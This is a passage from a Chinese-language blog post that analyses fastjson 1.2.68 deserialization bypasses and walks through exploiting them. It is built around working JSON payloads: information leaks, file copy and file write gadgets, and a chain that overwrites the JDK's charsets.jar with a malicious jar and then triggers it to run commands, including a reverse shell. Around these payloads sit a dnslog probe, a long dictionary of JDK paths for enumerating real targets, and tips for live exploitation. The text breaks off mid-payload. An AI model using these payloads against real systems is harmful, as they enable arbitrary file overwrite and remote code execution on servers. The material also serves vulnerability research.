其中,org.openqa.selenium.WebDriverException类的getMessage()方法和getSystemInformation()方法都能获取一些系统信息,比如:IP地址、主机名、系统架构、系统名称、系统版本、JDK版本、selenium webdriver版本。另外,还可通过getStackTrace()来获取函数调用栈,从而获悉使用了什么框架或组件。
在这里插入图片描述

因此,可根据情况构造PoC(因为信息不一定能回显,取决于目标程序的代码实现),类似这样:

1
2
3
4
5
{"x":
{"@type":"java.lang.Exception",
"@type":"org.openqa.selenium.WebDriverException"},
"y":{"$ref":"$x.systemInformation"}
}

场景的话可参考@浅蓝给的留言板Demo(参考[13])

2.2 AutoCloseable
2.2.1 原理

接着来看JavaBeanDeserializer#deserialze()

原理上,它跟ThrowableDeserializer#deserialze() 这个利用点是一样的,也是通过利用期望类expectClass去绕过checkAutoType()的安全校验。区别在于JavaBeanDeserializer#deserialze()中的expectClass参数是用户可控的,所以漏洞利用可发挥的空间更大。

现在公开的比较具有实战意义的gadget都使用了java.lang.AutoCloseable作为expectClass。之所以使用AutoCloseable,而不是其它类,笔者觉得可能的原因如下:

  • java.lang.AutoCloseableTypeUtils#mappings缓存集合中;
  • java.lang.AutoCloseable使用fastjson默认的反序列化器JavaBeanDeserializer
  • 通过查阅JDK文档可知,AutoCloseable(即其子类对象)持有文件句柄或者socket句柄,所以它是很多类型的父接口(比如xxxStream、xxxChannel、xxxConnection)。因此即便无法找到RCE gadget,也可以找到实现文件读取或写入的gadget,从而可以根据目标环境实际情况串出RCE。
    在这里插入图片描述
    在这里插入图片描述

2.2.2 构造PoC时的坑-1:选对构造方法

fastjson在调用JavaBeanDeserializer#deserialze()进行反序列化的过程中,会去寻找目标类的public类型的构造方法:如果存在无参构造方法,则将其作为构造方法供后续实例化使用;否则使用参数数量最多且排在最前面的构造方法。(具体代码逻辑见JavaBeanInfo#build()静态方法)

举个例子,我想通过fastjson反序列化java.io.FileOutputStream来新建一个文件。FileOutpuStream的构造方法有多个,如下图:
在这里插入图片描述
而按照fastjson的代码逻辑,它会选择public FileOutputStream(File, boolean) 这个构造方法。如果你选择其它的,比如public FileOutputStream(String),构造JSON字符串如下:

1
2
3
4
5
{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.FileOutputStream",
"name": "/Users/fa1c0n/tmp/test2.txt"
}

结果抛异常,无法创建实例。从报错信息可以看到它调用的是public FileOutputStream(File, boolean)这个构造方法。
在这里插入图片描述
故将JSON字符串改为:

1
2
3
4
5
6
{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.FileOutputStream",
"file": "/Users/fa1c0n/tmp/test2.txt",
"append": "false"
}

运行后,成功反序列化,可以看到生成了文件/Users/fa1c0n/tmp/test2.txt
在这里插入图片描述
在这里插入图片描述

2.2.3 构造PoC时的坑-2:构造方法需带调试信息

笔者使用Oracle JDK8,系统是macOS,运行上面2.2.2FileOutputStream的例子,会报default constructor not found错误:
在这里插入图片描述
而使用OpenJDK 11.0.2 是可以正常运行的。

根据报错信息的函数调用堆栈查找原因。
在这里插入图片描述
可以看到,在JavaBeanInfo#build()静态方法中,会调用ASMUtils.lookupParameterNames(constructor)方法获取构造方法的参数名。如果没找到,则抛出上述异常。

问题就出在这里。
原因是笔者安装的macOS环境的Oracle JDK 8u201,并没有保留包含有参数名的调试信息

可以使用javap -l \<class-name\>查看指定类是否包含参数名信息。
下面来对比一下笔者安装的Oracle JDK 8u201和OpenJDK 11.0.2java.io.FileOutputStream类:
在这里插入图片描述
如上图,可以看到OpenJDK 11.0.2 中,是保留了局部变量表LocalVariableTable的,即保留了局部变量名信息。

而具体哪个版本JDK存在调试信息,或不存在调试信息,这个并没有规律。因此,尽管存在仅依赖JDK的Gadget,但通用性是大打折扣的。不过好在多数的第三方库里的字节码是有LocalVariableTable

2.2.4 Gadget 1: 复制文件

依赖

1
2
3
4
5
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>

PoC

1
2
3
4
5
{
'@type':"java.lang.AutoCloseable",
'@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream',
'targetPath':'/Users/fa1c0n/tmp/hosts.txt',
'tempPath':'/etc/hosts'

浅析
因为SafeFileOutputStream()的构造方法里,当targetPath不存在且tempPath存在时,便会进行文件复制。
在这里插入图片描述

2.2.5 Gadget 2: 写文件

@浅蓝在文章中分享了他挖掘写文件gadget的思路:

  • 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream;
  • 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
  • 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法调用传入的 OutputStream 的 flush 方法.

依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.0</version>
</dependency>
<dependency>
<groupId>com.sleepycat</groupId>
<artifactId>je</artifactId>
<version>18.3.12</version>
</dependency>

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
'stream':
{
'@type':"java.lang.AutoCloseable",
'@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream',
'targetPath':'/tmp/dst',
'tempPath':'/tmp/src'
},
'writer':
{
'@type':"java.lang.AutoCloseable",
'@type':'com.esotericsoftware.kryo.io.Output',
'buffer':'aGFja2VkIGJ5IG0wMWUu',
'outputStream':
{
'$ref':'$.stream'
},
'position':15
},
'close':
{
'@type':"java.lang.AutoCloseable",
'@type':'com.sleepycat.bind.serial.SerialOutput',
'out':
{
'$ref':'$.writer'
}
}
}

浅析
(1) 首先通过org.eclipse.core.internal.localstore.SafeFileOutputStream的构造方法创建一个输出流对象,并通过参数去指定目标路径/tmp/dst;
(2) 然后通过com.esotericsoftware.kryo.io.Output的无参构造方法创建输出流对象,并通过setter方法将自身的输出流指向SafeFileOutputStream输出流对象,且通过setter方法往自身缓冲区填充要写入的数据;
(3) 最后,再通过com.sleepycat.bind.serial.SerialOutput的构造方法创建输出流对象,并通过参数将输出流指向(2)创建的Output对象;同时在com.sleepycat.bind.serial.SerialOutput构造方法调用的过程中,会调用com.esotericsoftware.kryo.io.Output#flush()方法,将buffer缓冲区的数据写入到目标文件/tmp/dst

代码就不贴了,有兴趣可以动手调试一下。

2.2.6 Gadget 3: 写文件

这是 @rmb122(参考[5])发现的一个仅依赖于JDK的写文件gadget,尽管如此,前面也提到了,成功与否取决于目标程序的JDK是否带调试信息。

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
'@type':"java.lang.AutoCloseable",
'@type':'sun.rmi.server.MarshalOutputStream',
'out':
{
'@type':'java.util.zip.InflaterOutputStream',
'out':
{
'@type':'java.io.FileOutputStream',
'file':'/tmp/fj_hack_jdk11',
'append':false
},
'infl':
{
'input':
{
'array':'eNoLz0gsKS4uLVBIL60s1lEoycgsVgCiXAPDVD0FT/VchYzUolSFknyF8sSSzLx0hbT8IoVQhbz8cj0uAGcUE78=',
'limit':65
}
},
'bufLen':1048576
},
'protocolVersion':1
}

浅析
(1) 在遇到Inflater#setInput(ByteBuffer input)方法时,fastjson处理java.nio.ByteBuffer类型的反序列化会使用com.alibaba.fastjson.serializer.ByteBufferCodec这个反序列化器进行处理,该反序列化器会将数据先反序列化为com.alibaba.fastjson.serializer.ByteBufferCodec$ByteBufferBean,然后再调用ByteBufferCodec$ByteBufferBean#byteBuffer()方法返回ByteBuffer对象。
在这里插入图片描述
(2) java.util.zip.InflaterOutputStream是JDK中可用来对zip数据进行解压缩的输出流对象。java.util.zip.InflaterOutputStream#write()方法主要做了两件事:

  • 调用Inflater#inflate()ByteBuffer input中的zip压缩数据进行解压并放到缓冲区byte[] buf[bufLen]中;
  • 调用输出流对象(FileOutputStream)的write()方法将buf中的解压数据写入到目标文件。

由于java.utils.zip.Inflater处理的压缩数据是标准的zip格式,所以可通过命令行程序gzip、openssl或python脚本调用zlib库快速输出指定明文压缩后的数据。(参考14)。当然,也可以使用Java的Inflater/Deflater这两个类,JDK文档里就有代码片段说明如何使用这两个类来实现压缩/解压缩。

这里以Python3为例:
在这里插入图片描述

由于上面的都是分析比较多我这里再贴一片实战案例的文章更好的理解

fastjson v1.2.68 RCE利用链复现

本文漏洞环境搭建用到的相关文件下载链接如下:

tomcat: https://ftp.jaist.ac.jp/pub/apache/tomcat/tomcat-8/v8.5.65/bin/apache-tomcat-8.5.65.tar.gz

fastjson漏洞环境: https://pan.baidu.com/s/1C022L851nIkq4zy5hiG_TA

提取码: sven

fastjson-1.2.68.jar: https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.68/fastjson-1.2.68.jar

下载完成后解压tomcat

然后将 fastjson1.2.47.tar.gz 拷贝到 tomcat的webapps目录下解压.

1
2
3
tar -zxvf apache-tomcat-8.5.65.tar.gz
mv /apache-tomcat-8.5.65 /tomcat8
tar -zxvf fastjson1.2.47.tar.gz

如仍没搭建起来, 可参考如下文章中的”方法二”搭建.

https://blog.csdn.net/qq_40989258/article/details/103049474

(未复现过fastjson1.2.47版本漏洞也可顺便复现下)

完成后, 修改 tomcat/webapps/fastjson/META-INF/maven/com.vulhub.fastjson/fastjson/pom.xml 文件中的fastjson版本为1.2.68

img

image-20250605195715396

拷贝一个 fastjson-1.2.68.jar 文件到靶机的 tomcat/webapps/fastjson/WEB-INF/lib 目录下.

image-20250605195724130

启动/关闭tomcat

(每次Jar包被触发后, 如需更改都需要重启tomcat初始化到未加载过相关利用jar包的状态)

1
2
./catalina.sh start
./catalina.sh stop

image-20250605195730728

访问 http://127.0.0.1:8080/fastjson/ 出现 “Hello World” 即环境搭建正常.

img

1.dnslog验证下漏洞环境是否可用

1
{"x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}

image-20250605195741479

2.下载漏洞利用jar包做处理

https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks

将项目中的 spring-boot-upload-file-lead-to-rce-tricks-mainelease\charsets.jar 进行压缩编码处理.

(作者提供的jar包, 内置的代码执行后, 在linux环境下会在 /tmp 文件夹下创建测试文件)

1
cat charsets.jar | openssl zlib | base64 -w 0

image-20250605195750319

3.确认java安装目录, 找到其lib目录下 charsets.jar 的位置

如: /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.282.b08-1.el7_9.x86_64/jre/lib/charsets.jar

(后面的poc会用到, 实战利用时需要通过字典去枚举jdk目录)

1
ls -lrt /etc/alternatives/java

image-20250605195758869

poc改动参数说明:

file参数: 靶机上jdk中charsets.jar文件所在的完整路径

input参数: 即上述编码处理后的jar包内容

image-20250605195806035

fastjson-1.2.68版本任意文件写入poc

(如下poc会将一个名为charsets.jar的文件上传到指定的目录, 如果该文件已存在, 将进行覆写.)

1
{"x":{"@type":"java.lang.AutoCloseable","@type":"sun.rmi.server.MarshalOutputStream","out":{"@type":"java.util.zip.InflaterOutputStream","out":{"@type":"java.io.FileOutputStream","file":"/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.282.b08-1.el7_9.x86_64/jre/lib/charsets.jar","append":false},"infl":{"input":"xxx"},"bufLen":1048576},"protocolVersion":1}}

4.发包, 覆写靶机上jdk原本的charsets.jar文件

(建议将源文件先进行备份)

image-20250605195815178

charsets.jar文件被覆写前后比对图

image-20250605195822507

5.触发漏洞

需要注意的是, 同名jar包只能主动触发一次, 触发后再次进行覆写, 也不会在加载同名jar包.

1
{"x":{"@type":"java.nio.charset.Charset","val":"500"}}

image-20250605195830385

img

6.如何修改jar包?

LandGrey师傅提供了源码, 改下所要执行的命令重新生成恶意jar包即可.

详细步骤如下:

IDEA新建一个名为charsets的普通项目

将 spring-boot-upload-file-lead-to-rce-tricks-main\charsets\src下的两个目录拷贝进src目录下.

image-20250605200424125

看下 IBM33722.java 文件的源码, 相信这里的代码大家还是都能看懂的.

将linux部分中的命令改为反弹shell的命令即可.

image-20250605195840378

重新打包成jar包.

ctrl+alt+shift+s打开项目结构窗口, 配置如下图.

image-20250605195848736

image-20250605195903360

这里可以看到你的生成文件路径.

image-20250605195910535

生成修改后的jar包, 后面的操作重复前面的步骤即可, 不再复述.

最后附张反弹shell的截图.

image-20250605195916540

常见jdk目录记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
/usr/lib/jvm/jre/lib/
/usr/local/jdk/jre/lib/
/usr/local/openjdk-6/lib/
/usr/local/openjdk-7/lib/
/usr/local/openjdk-8/lib/
/usr/lib/jvm/java/jre/lib/
/usr/lib/jvm/jdk6/jre/lib/
/usr/lib/jvm/jdk7/jre/lib/
/usr/lib/jvm/jdk8/jre/lib/
/usr/lib/jvm/jdk-11.0.3/lib/
/usr/lib/jvm/jdk1.6/jre/lib/
/usr/lib/jvm/jdk1.7/jre/lib/
/usr/lib/jvm/jdk1.8/jre/lib/
/usr/local/openjdk6/jre/lib/
/usr/local/openjdk7/jre/lib/
/usr/local/openjdk8/jre/lib/
/usr/local/openjdk-6/jre/lib/
/usr/local/openjdk-7/jre/lib/
/usr/local/openjdk-8/jre/lib/
/mnt/jdk/jdk1.8.0_191/jre/lib/
/usr/lib/jvm/jdk1.6.0/jre/lib/
/usr/lib/jvm/jdk1.7.0/jre/lib/
/usr/lib/jvm/jdk1.8.0/jre/lib/
/usr/java/jdk1.8.0_111/jre/lib/
/usr/java/jdk1.8.0_121/jre/lib/
/usr/lib/jvm/java-6-oracle/lib/
/usr/lib/jvm/java-7-oracle/lib/
/usr/lib/jvm/java-8-oracle/lib/
/usr/lib/jvm/java-1.6.0/jre/lib/
/usr/lib/jvm/java-1.7.0/jre/lib/
/usr/lib/jvm/java-1.8.0/jre/lib/
/usr/lib/jvm/jdk1.7.0_51/jre/lib/
/usr/lib/jvm/jdk1.7.0_76/jre/lib/
/usr/lib/jvm/jdk1.8.0_60/jre/lib/
/usr/lib/jvm/jdk1.8.0_66/jre/lib/
/usr/lib/jvm/jdk1.8.0_74/jre/lib/
/usr/lib/jvm/jdk1.8.0_91/jre/lib/
/usr/lib/jvm/oracle_jdk6/jre/lib/
/usr/lib/jvm/oracle_jdk7/jre/lib/
/usr/lib/jvm/oracle_jdk8/jre/lib/
/usr/lib/jvm/jdk1.8.0_101/jre/lib/
/usr/lib/jvm/jdk1.8.0_102/jre/lib/
/usr/lib/jvm/jdk1.8.0_111/jre/lib/
/usr/lib/jvm/jdk1.8.0_131/jre/lib/
/usr/lib/jvm/jdk1.8.0_144/jre/lib/
/usr/lib/jvm/jdk1.8.0_151/jre/lib/
/usr/lib/jvm/jdk1.8.0_152/jre/lib/
/usr/lib/jvm/jdk1.8.0_161/jre/lib/
/usr/lib/jvm/jdk1.8.0_171/jre/lib/
/usr/lib/jvm/jdk1.8.0_172/jre/lib/
/usr/lib/jvm/jdk1.8.0_181/jre/lib/
/usr/lib/jvm/jdk1.8.0_191/jre/lib/
/usr/lib/jvm/jdk1.8.0_202/jre/lib/
/usr/lib/jvm/jdk8u202-b08/jre/lib/
/usr/lib/jvm/jre-6-oracle-x64/lib/
/usr/lib/jvm/jre-7-oracle-x64/lib/
/usr/lib/jvm/jre-8-oracle-x64/lib/
/usr/lib/jvm/zulu-6-amd64/jre/lib/
/usr/lib/jvm/zulu-7-amd64/jre/lib/
/usr/lib/jvm/zulu-8-amd64/jre/lib/
/usr/lib/jvm/java-6-oracle/jre/lib/
/usr/lib/jvm/java-7-oracle/jre/lib/
/usr/lib/jvm/java-8-oracle/jre/lib/
/usr/jdk/instances/jdk1.6.0/jre/lib/
/usr/jdk/instances/jdk1.7.0/jre/lib/
/usr/jdk/instances/jdk1.8.0/jre/lib/
/usr/lib/jvm/j2re1.6-oracle/jre/lib/
/usr/lib/jvm/j2re1.7-oracle/jre/lib/
/usr/lib/jvm/j2re1.8-oracle/jre/lib/
/usr/lib/jvm/java-1.6.0-sun/jre/lib/
/usr/lib/jvm/java-1.7.0-sun/jre/lib/
/usr/lib/jvm/java-1.8.0-sun/jre/lib/
/usr/lib/jvm/java-6-openjdk/jre/lib/
/usr/lib/jvm/java-7-openjdk/jre/lib/
/usr/lib/jvm/java-8-openjdk/jre/lib/
/usr/lib/jvm/j2sdk1.6-oracle/jre/lib/
/usr/lib/jvm/j2sdk1.7-oracle/jre/lib/
/usr/lib/jvm/j2sdk1.8-oracle/jre/lib/
/usr/lib/jvm/java-11-openjdk/jre/lib/
/usr/lib/jvm/java-12-openjdk/jre/lib/
/usr/lib/jvm/java-13-openjdk/jre/lib/
/usr/lib/jvm/java-1.6-openjdk/jre/lib/
/usr/lib/jvm/java-1.7-openjdk/jre/lib/
/usr/lib/jvm/java-1.8-openjdk/jre/lib/
/usr/lib/jvm/java-9-openjdk-amd64/lib/
/usr/lib/jvm/jdk-6-oracle-x64/jre/lib/
/usr/lib/jvm/jdk-7-oracle-x64/jre/lib/
/usr/lib/jvm/jdk-8-oracle-x64/jre/lib/
/usr/lib/jvm/jre-6-oracle-x64/jre/lib/
/usr/lib/jvm/jre-7-oracle-x64/jre/lib/
/usr/lib/jvm/jre-8-oracle-x64/jre/lib/
/usr/lib/jvm/java-10-openjdk-amd64/lib/
/usr/lib/jvm/java-11-openjdk-amd64/lib/
/usr/lib/jvm/java-1.11.0-openjdk/jre/lib/
/usr/lib/jvm/java-1.12.0-openjdk/jre/lib/
/usr/lib/jvm/java-6-openjdk-i386/jre/lib/
/usr/lib/jvm/java-6-sun-1.6.0.16/jre/lib/
/usr/lib/jvm/java-6-sun-1.6.0.20/jre/lib/
/usr/lib/jvm/java-7-openjdk-i386/jre/lib/
/usr/lib/jvm/java-8-openjdk-i386/jre/lib/
/usr/lib/jvm/java-6-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-7-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-1.6.0-oracle-x64/jre/lib/
/usr/lib/jvm/java-1.7.0-oracle-x64/jre/lib/
/usr/lib/jvm/java-1.8.0-oracle-x64/jre/lib/
/usr/lib/jvm/oracle-java6-jdk-amd64/jre/lib/
/usr/lib/jvm/oracle-java7-jdk-amd64/jre/lib/
/usr/lib/jvm/oracle-java8-jdk-amd64/jre/lib/
/usr/lib64/jvm/java-1.6.0-ibd-1.6.0/jre/lib/
/usr/lib64/jvm/java-1.6.0-ibm-1.6.0/jre/lib/
/usr/lib64/jvm/java-1.7.1-ibm-1.7.1/jre/lib/
/usr/lib/jvm/java-1.6.0-sun-1.6.0.11/jre/lib/
/usr/lib/jvm/java-1.6.0-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-amd64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-amd64/jre/lib/
/usr/lib/jvm/jre-1.6.0-openjdk.x86_64/jre/lib/
/usr/lib/jvm/jre-1.7.0-openjdk.x86_64/jre/lib/
/usr/lib/jvm/jre-1.8.0-openjdk.x86_64/jre/lib/
/usr/lib/jvm/java-1.11.0-openjdk-amd64/jre/lib/
/usr/lib/jvm/jdk-8-oracle-arm-vfp-hflt/jre/lib/
/usr/lib64/jvm/java-1.6.0-openjdk-1.6.0/jre/lib/
/usr/lib64/jvm/java-1.7.0-openjdk-1.7.0/jre/lib/
/usr/lib64/jvm/java-1.8.0-openjdk-1.8.0/jre/lib/
/usr/lib/jvm/java-1.6.0-openjdk-1.6.0.0.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.8.0.0.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-amazon-corretto.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.0.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.45.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.65.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.75.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.79.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.91.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.101.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.191.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.31-2.b13.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.65-3.b17.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.102-4.b14.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.161-2.b14.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-7.b10.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-11.b12.el7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.31-1.b13.el6_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.65-2.b17.el7_1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.77-0.b03.el6_7.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.91-0.b14.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.101-3.b13.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.102-1.b14.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.111-0.b15.el6_8.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.111-1.b15.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.111-2.b15.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.121-0.b13.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-0.b11.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-2.b11.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-3.b12.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.141-1.b16.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.141-3.b16.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.144-0.b01.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.144-0.b01.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.151-1.b12.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.151-1.b12.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.151-5.b12.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.161-0.b14.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.161-3.b14.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-3.b10.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.amzn2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.el6_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.el7_5.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.181-3.b13.amzn2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.181-3.b13.el7_5.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.amzn2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.el7_5.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-1.el7_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.201.b09-0.amzn2.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.201.b09-2.el7_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.212.b04-0.el7_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.222.b10-0.el7_6.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.282.b08-1.el7_9.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.181-3.b13.el6_10.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.el6_10.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.212.b04-0.el6_10.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.31-2.b13.5.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.65-2.b17.7.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.77-0.b03.9.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.101-2.6.6.1.el7_2.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.131-2.6.9.0.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.91-0.b14.10.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.141-2.6.10.1.el7_3.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.171-2.6.13.0.el7_4.x86_64/jre/lib/
/usr/lib/jvm/java-1.7.0-openjdk-1.7.0.191-2.6.15.4.el7_5.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.101-3.b13.24.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.111-1.b15.25.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.121-0.b13.29.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.131-2.b11.30.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.141-1.b16.32.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.151-1.b12.35.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.161-0.b14.36.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-7.b10.37.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.38.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.42.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.201.b09-0.43.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.212.b04-0.45.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.171-8.b10.el7_5.x86_64-debug/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.181-8.b13.39.39.amzn1.x86_64/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.el7_5.x86_64-debug/jre/lib/
/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.191.b12-0.el6_10.x86_64-debug/jre/lib/

0x03 漏洞修复

  • 升级fajston至最新版本

0x04 踩过的坑

  • 触发漏洞的poc一定要放在最后执行.
  • 复现失败时, 记得重启tomcat, 保证恶意jar包可以被重新加载.
  • 使用命令打包的恶意jar包一直没成功, 不知道为啥, 不清楚原理的话还是建议用开发工具打包.
  • 实战利用时, 可先将jdk目录字典全都跑一遍, 然后再发送触发漏洞的poc.

还有更多的payload详细的部分可以看原文,这里精简了一下

取自fastjson payload大集合

但是有很多都是有利用条件和依赖的

fastjson<=1.2.68,JDK11

https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
